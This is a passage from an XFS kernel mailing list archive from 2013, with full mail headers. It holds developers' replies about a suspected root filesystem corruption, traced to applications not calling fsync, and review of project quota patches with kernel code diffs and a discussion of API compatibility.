AWDY8Nz/q7M3b2t3QsOEsMOVTJWzmnZoPo9wh0Oc9uKYhfuSD5P0chKWn9YTChM7 WatsxvPhlUY245pnl7ZizNgcVbiUSbbrGzAwatNvitnueWWXfRwJU74Y8jyfPpu7 k= Received: (qmail 1974 invoked from network); 11 Jul 2013 05:47:18 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 11 Jul 2013 05:47:18 +0200 Date: Thu, 11 Jul 2013 05:47:18 +0200 From: Markus Trippelsdorf To: Stan Hoeppner Cc: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711034718.GC362@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <51DDFE44.9000606@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51DDFE44.9000606@hardwarefreak.com> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373514439 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136417 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.10 at 19:37 -0500, Stan Hoeppner wrote: > On 7/10/2013 4:06 AM, Markus Trippelsdorf wrote: > > While bisecting a system hang, caused by the drm gpu subsystem, my root fs got > > corrupted: > ... > > My root fs lives on a small SSD: > > > > /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) > > /dev/root xfs 30G 15G 16G 50% / > > Does your SSD honor barriers and cache flushes? Yes, I hope so: Enabled Supported: ... * Mandatory FLUSH_CACHE * FLUSH_CACHE_EXT But please note that the system hang mentioned above turned out to be a locking problem. So the SSD had plenty of time to process any out- standing commands before reboot. -- Markus From david@fromorbit.com Wed Jul 10 22:59:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C1347F52 for ; Wed, 10 Jul 2013 22:59:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7A181AC002 for ; Wed, 10 Jul 2013 20:59:10 -0700 (PDT) X-ASG-Debug-ID: 1373515148-04cb6c2a42b22560001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 5yC5sqLIFMW07TrI for ; Wed, 10 Jul 2013 20:59:08 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Al8MABYt3lF5LD3k/2dsb2JhbABagwmDH7lXhSwEAYEPF3SCIwEBBAE6HCMFCwgDGAklDwUlAyETiAkFtz8WjgIugR0HgwlsA5dZkUuDIyo Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 11 Jul 2013 13:28:34 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Ux81T-0000UH-TX; Thu, 11 Jul 2013 13:58:27 +1000 Date: Thu, 11 Jul 2013 13:58:27 +1000 From: Dave Chinner To: Markus Trippelsdorf Cc: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711035827.GA3438@dastard> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130711033621.GB362@x4> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373515148 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136417 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > On 2013.07.11 at 10:31 +1000, Dave Chinner wrote: > > On Wed, Jul 10, 2013 at 11:06:34AM +0200, Markus Trippelsdorf wrote: > > > While bisecting a system hang, caused by the drm gpu subsystem, my root fs got > > > corrupted: > > > > I don't see any corruption being repaired.... > > > > > > > > # xfs_repair /dev/sdc2 > > > Phase 1 - find and verify superblock... > > > Phase 2 - using internal log > > > - zero log... > > > - scan filesystem freespace and inode maps... > > > agi unlinked bucket 6 is 682886 in ag 3 (inode=101346182) > > > agi unlinked bucket 7 is 11335 in ag 3 (inode=100674631) > > > agi unlinked bucket 10 is 682890 in ag 3 (inode=101346186) > > > agi unlinked bucket 21 is 981 in ag 3 (inode=100664277) > > > agi unlinked bucket 23 is 5704343 in ag 3 (inode=106367639) > > > agi unlinked bucket 29 is 211421 in ag 3 (inode=100874717) > > > agi unlinked bucket 31 is 7681375 in ag 3 (inode=108344671) > > > agi unlinked bucket 34 is 3480162 in ag 3 (inode=104143458) > > > agi unlinked bucket 40 is 211432 in ag 3 (inode=100874728) > > > agi unlinked bucket 41 is 2704937 in ag 3 (inode=103368233) > > > agi unlinked bucket 45 is 594669 in ag 3 (inode=101257965) > > > agi unlinked bucket 62 is 11902 in ag 3 (inode=100675198) > > > > That's a filesystem that has unlinked inodes on the unlinked list. > > They get cleaned up during log replay. All the other "errors" are > > related to cleaning these up.... > > > > So what is making you think there is a corruption? What's the error > > being reported when you are using the filesystem? i.e. what's the > > entire process you go through before you get to finding this > > problem? > > I was loosing my KDE settings bit by bit with every reboot during the > bisection. First my window-rules disappeared, then my desktop background > changed to default, then my taskbar moved from top to the bottom, etc. > In the end I had to restore all my .files from backup. That's not filesystem corruption. That sounds more like someone not using fsync in the apropriate place when overwriting a file.... > And please note that xfs_repair unlinked the inodes _after_ the > filesystem has been mounted and unmounted normally. Which means we might not be processing the unlinked lists correctly and leaking them. If repair is finding the inodes in the AGI unlinked lists, then recovery should be finding them, too. Not processing them and not clearing the AGI bucket tends to imply that recovery failed to read the AGI buffer. What error messages are in dmesg, if any? And what kernel are you running? Cheers, Dave. -- Dave Chinner david@fromorbit.com From sekharan@us.ibm.com Wed Jul 10 23:05:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E10C17F54 for ; Wed, 10 Jul 2013 23:05:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A22B2304077 for ; Wed, 10 Jul 2013 21:05:38 -0700 (PDT) X-ASG-Debug-ID: 1373515537-04bdf0233fde3580001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id mVN44jp1t6yEuo6r (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 21:05:37 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 22:05:33 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 22:05:31 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 2A9A019D8036 for ; Wed, 10 Jul 2013 22:05:20 -0600 (MDT) Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6B45UOg347180 for ; Wed, 10 Jul 2013 22:05:30 -0600 Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B483YK001725 for ; Wed, 10 Jul 2013 22:08:03 -0600 Received: from [9.76.27.180] (sig-9-76-27-180.mts.ibm.com [9.76.27.180]) by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B481Wd001674; Wed, 10 Jul 2013 22:08:02 -0600 Subject: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v10 08/11] xfs: Add pquota fields where gquota is used. Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: Ben Myers , xfs@oss.sgi.com In-Reply-To: <20130711012335.GX3438@dastard> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-9-git-send-email-sekharan@us.ibm.com> <20130710213907.GZ20932@sgi.com> <1373492798.6020.34.camel@chandra-dt.ibm.com> <20130711012335.GX3438@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 10 Jul 2013 23:05:26 -0500 Message-ID: <1373515526.4555.0.camel@chandra-laptop.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-24.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071104-3620-0000-0000-00000379F5E3 X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1373515537 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-11 at 11:23 +1000, Dave Chinner wrote: > On Wed, Jul 10, 2013 at 04:46:38PM -0500, Chandra Seetharaman wrote: > > > > @@ -1160,13 +1160,13 @@ xfs_ioctl_setattr( > > > > */ > > > > xfs_qm_dqrele(olddquot); > > > > xfs_qm_dqrele(udqp); > > > > - xfs_qm_dqrele(gdqp); > > > > + xfs_qm_dqrele(pdqp); > > > > > > > > return code; > > > > > > > > error_return: > > > > xfs_qm_dqrele(udqp); > > > > - xfs_qm_dqrele(gdqp); > > > > + xfs_qm_dqrele(pdqp); > > > > xfs_trans_cancel(tp, 0); > > > > if (lock_flags) > > > > xfs_iunlock(ip, lock_flags); > > > > > > Here in xfs_ioctl_setattr, I'm not clear on why we're messing with the user > > > dquot at all. Could it be removed entirely? A change in project id doesn't > > > effect user quota, right? > > > > > > Maybe that's an idea for a separate patch. > > > > I will look into that after these get in :) > > The user dquot may have group and/or project dquot hints attached to > it. Therefore if we are changing project quota and user quotas are > enabled, then we may have to remove the hint from the user dquot > that points to the old project dquot.... Thanks for the explanation Dave. > > Cheers, > > Dave. From stan@hardwarefreak.com Wed Jul 10 23:12:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 517FC7F3F for ; Wed, 10 Jul 2013 23:12:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3B576304066 for ; Wed, 10 Jul 2013 21:12:43 -0700 (PDT) X-ASG-Debug-ID: 1373515962-04cb6c2a41b23350001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id 0LkvN6Wp6As8tW3A for ; Wed, 10 Jul 2013 21:12:42 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 4F9DE6C1B1; Wed, 10 Jul 2013 23:12:42 -0500 (CDT) Message-ID: <51DE30BC.1050905@hardwarefreak.com> Date: Wed, 10 Jul 2013 23:12:44 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Dave Chinner CC: Markus Trippelsdorf , xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang In-Reply-To: <20130711035827.GA3438@dastard> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1373515962 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 7/10/2013 10:58 PM, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: >> I was loosing my KDE settings bit by bit with every reboot during the >> bisection. First my window-rules disappeared, then my desktop background >> changed to default, then my taskbar moved from top to the bottom, etc. >> In the end I had to restore all my .files from backup. > > That's not filesystem corruption. That sounds more like someone not > using fsync in the apropriate place when overwriting a file.... >From Sandeen's blog, March 2009: "I dunno how to resolve this right now. I talked to some nice KDE folks on irc; they basically want atomic writes, either you get your old file or your new file post-crash; and tempfile/sync/rename does this but the fsync hurts on 78% of the Linux filesystems out there. So their KSaveFile class doesnt fsync. So what to do, what to do.." That's 4 years ago. Is it possible the KDE devs are still not using fsync? Sure seems likely given Markus' problem. -- Stan From markus@trippelsdorf.de Wed Jul 10 23:15:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9479B7F59 for ; Wed, 10 Jul 2013 23:15:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 822A28F8039 for ; Wed, 10 Jul 2013 21:15:03 -0700 (PDT) X-ASG-Debug-ID: 1373516101-04cb6c2a46b23600001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id GtbaHCBWbevXIRx2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 21:15:02 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=qnGZZZyyvVtgXhvA1cXrEmTAHM 75imZzURsrSTv/gcg=; b=hZtypuvLvQMFUK7gVaeogFUCkyiapR8zfquSpWQ2Yc kkLpA7SxIJ+XEoXrBmJ4j4YHDu1tCBn7n7agkQKa7UoAkXuZeTPFH8xMRO0iCY+Y 1YCNqgshpUg0QttEycYqzNfpVzYd33nLasARf6xUt2e/aYkhYEoDD35r/SUKcvYI w= Received: (qmail 4762 invoked from network); 11 Jul 2013 06:15:01 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 11 Jul 2013 06:15:01 +0200 Date: Thu, 11 Jul 2013 06:15:00 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: Corruption of root fs during git bisect of drm system hang Message-ID: <20130711041500.GD362@x4> X-ASG-Orig-Subj: Re: Corruption of root fs during git bisect of drm system hang References: <20130710090634.GA356@x4> <20130711003122.GR3438@dastard> <20130711033621.GB362@x4> <20130711035827.GA3438@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130711035827.GA3438@dastard> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1373516102 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136417 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.11 at 13:58 +1000, Dave Chinner wrote: > On Thu, Jul 11, 2013 at 05:36:21AM +0200, Markus Trippelsdorf wrote: > > On 2013.07.11 at 10:31 +1000, Dave Chinner wrote: > > > On Wed, Jul 10, 2013 at 11:06:34AM +0200, Markus Trippelsdorf wrote: > > > > While bisecting a system hang, caused by the drm gpu subsystem, my root fs got > > > > corrupted: > > > > > > That's a filesystem that has unlinked inodes on the unlinked list. > > > They get cleaned up during log replay. All the other "errors" are > > > related to cleaning these up.... > > > > > > So what is making you think there is a corruption? What's the error > > > being reported when you are using the filesystem? i.e. what's the > > > entire process you go through before you get to finding this > > > problem? > > > > I was loosing my KDE settings bit by bit with every reboot during the > > bisection. First my window-rules disappeared, then my desktop background > > changed to default, then my taskbar moved from top to the bottom, etc. > > In the end I had to restore all my .files from backup. > > That's not filesystem corruption. That sounds more like someone not > using fsync in the apropriate place when overwriting a file.... Ok. Sorry for using the wrong term. > > And please note that xfs_repair unlinked the inodes _after_ the > > filesystem has been mounted and unmounted normally. > > Which means we might not be processing the unlinked lists correctly > and leaking them. If repair is finding the inodes in the AGI > unlinked lists, then recovery should be finding them, too. Not > processing them and not clearing the AGI bucket tends to imply that > recovery failed to read the AGI buffer. > > What error messages are in dmesg, if any? And what kernel are you > running? There are no error messages in dmesg. I'm running the latest Linus tree. -- Markus From sekharan@us.ibm.com Wed Jul 10 23:16:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5E1DB7F59 for ; Wed, 10 Jul 2013 23:16:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4CDB88F8035 for ; Wed, 10 Jul 2013 21:16:57 -0700 (PDT) X-ASG-Debug-ID: 1373516215-04cb6c2a46b23830001-NocioJ Received: from e39.co.us.ibm.com (e39.co.us.ibm.com [32.97.110.160]) by cuda.sgi.com with ESMTP id ka4Qri0d0v4X5qiY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 21:16:56 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.160 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from /spool/local by e39.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 22:16:55 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.160] Received: from d01dlp03.pok.ibm.com (9.56.250.168) by e39.co.us.ibm.com (192.168.1.139) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 22:16:53 -0600 Received: from d01relay06.pok.ibm.com (d01relay06.pok.ibm.com [9.56.227.116]) by d01dlp03.pok.ibm.com (Postfix) with ESMTP id 98B2AC90041 for ; Thu, 11 Jul 2013 00:16:51 -0400 (EDT) Received: from d01av01.pok.ibm.com (d01av01.pok.ibm.com [9.56.224.215]) by d01relay06.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6B4GqaA8258042 for ; Thu, 11 Jul 2013 00:16:52 -0400 Received: from d01av01.pok.ibm.com (loopback [127.0.0.1]) by d01av01.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B4Gqpd008134 for ; Thu, 11 Jul 2013 00:16:52 -0400 Received: from [9.76.27.180] (sig-9-76-27-180.mts.ibm.com [9.76.27.180]) by d01av01.pok.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B4G3l5005553; Thu, 11 Jul 2013 00:16:05 -0400 Subject: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v10 10/11] quota: Add proper versioning support to fs_quota_stat Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: Jan Kara , Ben Myers , swhiteho@redhat.com, xfs@oss.sgi.com In-Reply-To: <20130711014501.GY3438@dastard> References: <1372371914-11370-1-git-send-email-sekharan@us.ibm.com> <1372371914-11370-11-git-send-email-sekharan@us.ibm.com> <20130710155538.GY20932@sgi.com> <20130710162602.GB32444@quack.suse.cz> <1373489390.6020.30.camel@chandra-dt.ibm.com> <20130711014501.GY3438@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Wed, 10 Jul 2013 23:16:01 -0500 Message-ID: <1373516161.4555.10.camel@chandra-laptop.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-24.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071104-3620-0000-0000-00000379FAEF X-Barracuda-Connect: e39.co.us.ibm.com[32.97.110.160] X-Barracuda-Start-Time: 1373516216 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 2013-07-11 at 11:45 +1000, Dave Chinner wrote: > On Wed, Jul 10, 2013 at 03:49:50PM -0500, Chandra Seetharaman wrote: > > On Wed, 2013-07-10 at 18:26 +0200, Jan Kara wrote: > > > On Wed 10-07-13 10:55:38, Ben Myers wrote: > > > > Hey Chandra, > > > > > > > > > > > diff --git a/fs/quota/quota.c b/fs/quota/quota.c > > > > > index c7314f1..ae6526e 100644 > > > > > --- a/fs/quota/quota.c > > > > > +++ b/fs/quota/quota.c > > > > > @@ -207,12 +207,57 @@ static int quota_setxstate(struct super_block *sb, int cmd, void __user *addr) > > > > > static int quota_getxstate(struct super_block *sb, void __user *addr) > > > > > { > > > > > struct fs_quota_stat fqs; > > > > > - int ret; > > > > > + struct fs_quota_stat_v1 fqs_v1; > > > > > + int ret, size; > > > > > + void *fqsp; > > > > > > > > > > if (!sb->s_qcop->get_xstate) > > > > > return -ENOSYS; > > > > > + > > > > > + memset(&fqs, 0, sizeof(struct fs_quota_stat)); > > > > > + if (copy_from_user(&fqs, addr, 1)) /* just get the version */ > > > > > + return -EFAULT; > > > > > + > > > > > + switch (fqs.qs_version) { > > > > > + case FS_QSTAT_VERSION_2: > > > > > + size = FS_QSTAT_V2_SIZE; > > > > > + break; > > > > > + default: > > > > > + fqs.qs_version = FS_QSTAT_VERSION; > > > > > + /* fallthrough */ > > > > > + case FS_QSTAT_VERSION: > > > > > + size = FS_QSTAT_V1_SIZE; > > > > > + break; > > > > > + } > > > Guys, you cannot really do this. If anyone is using getxstate() with > > > uninitialized buffer (which is fine so far), you cannot suddently start to > > > rely on the contents of qs_version field. That's ABI (and even API) > > > breakage. > > > > Agree, it is a API breakage. > > > > Will fix it by adding a new quotactl value as you suggest. > > Please enforce the version number as being valid so we don't > need to add another new interface if we need to change this > structure again. :) Yes, I am keeping the lower level interface same as before. > > FWIW, we're now going to need a new xfs_quota changes to go along > with this - it will need to use the new interface by default, and > fall back to the existing interface if it gets an error saying the > command does not exist. We can't actually test the new interface > until we have xfs_quota patches that use it. The lower level interface doesn't change. It will remain the same. I will send the code soon. > > And to play Devil's advocate: it is way too late in the merge cycle > to make these sorts of ABI changes to a patch and test/review them > adequately. There is no ABI issues even in the earlier version, it was an API breakage. And with Jan's suggestion even that API breakage is being fixed. There is no change in API or ABI. We are just adding a new interface. Old code and old binary will work as before. > > Cheers, > > Dave. From sekharan@us.ibm.com Thu Jul 11 00:00:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4614D7F62 for ; Thu, 11 Jul 2013 00:00:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id D16E7AC002 for ; Wed, 10 Jul 2013 22:00:54 -0700 (PDT) X-ASG-Debug-ID: 1373518853-04bdf0233cde7540001-NocioJ Received: from e36.co.us.ibm.com (e36.co.us.ibm.com [32.97.110.154]) by cuda.sgi.com with ESMTP id HoHFAxD8R6KwliVZ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 22:00:53 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.154 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] Received: from /spool/local by e36.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 23:00:53 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.154] Received: from d03dlp01.boulder.ibm.com (9.17.202.177) by e36.co.us.ibm.com (192.168.1.136) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 23:00:50 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 138671FF001B for ; Wed, 10 Jul 2013 22:55:31 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id 